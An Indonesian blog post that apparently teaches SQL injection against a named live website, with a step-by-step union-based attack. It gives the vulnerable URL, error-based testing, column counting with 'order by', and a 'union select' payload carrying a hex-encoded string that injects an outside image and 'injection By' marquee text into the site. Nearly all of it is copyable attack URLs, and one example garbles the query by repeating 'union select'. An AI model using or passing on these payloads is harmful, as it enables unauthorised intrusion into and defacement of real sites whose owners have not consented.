Tutorial Sql+Live Target 💉
Hello World:v
Tutorial SQL injection
Bahan
Dork:
Dios:
Internet:
Chrome:
Live Target
https://www.smtmax.com/category.php?id=-15
Pertama Cek vuln apa Ndak Tambahkan ' Di belakang web klo ada tulisan (Database Error)
Berarti Vuln
Tinggal Tambahkan
+order+by+1--+-
Cari bug nya Ampe dapat
https://www.smtmax.com/category.php?id=-15+order+by+1--+-
Ampe error
Error nya di 15
https://www.smtmax.com/category.php?id=-15+order+by+15--+-
Tinggal Ganti order+by jadi union+select lalu angka dari 1-14
Contoh:https://www.smtmax.com/category.php?id=-15+union+select+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+-
Muncul angka angka ajaib
Tinggal masukin Dios nya ke angka
Contoh angka nya di 3
https://www.smtmax.com/category.php?id=-15+union+select+1,2,0x3C696D67207372633D2268747470733A2F2F622E746F7034746F702E696F2F705F313936316567363631342E6A7065672220203C2F63656E7465723E200D0A3C6D6172717572653E696E6A656374696F6E20427920546E204C6F6164696E673C2F6D6165717565653E0D0A3C6D6172717565653E546F75636820427920546E204C6F6164696E673C2F6D6172717565653E0D0A3C6D6172717565653E546E204C6F6164696E6757617320686572653A293C2F6D6172717565653E,4,5,6,7,8,9,10,11,12,13,14
Note (Jan lupa tambahkan 0x di depan dios)
Berhasil kan:D
Dah jadi Dah gw mo Pamit by!

Komentar
Posting Komentar
Hello Silahkan Beri Komentar Ajg!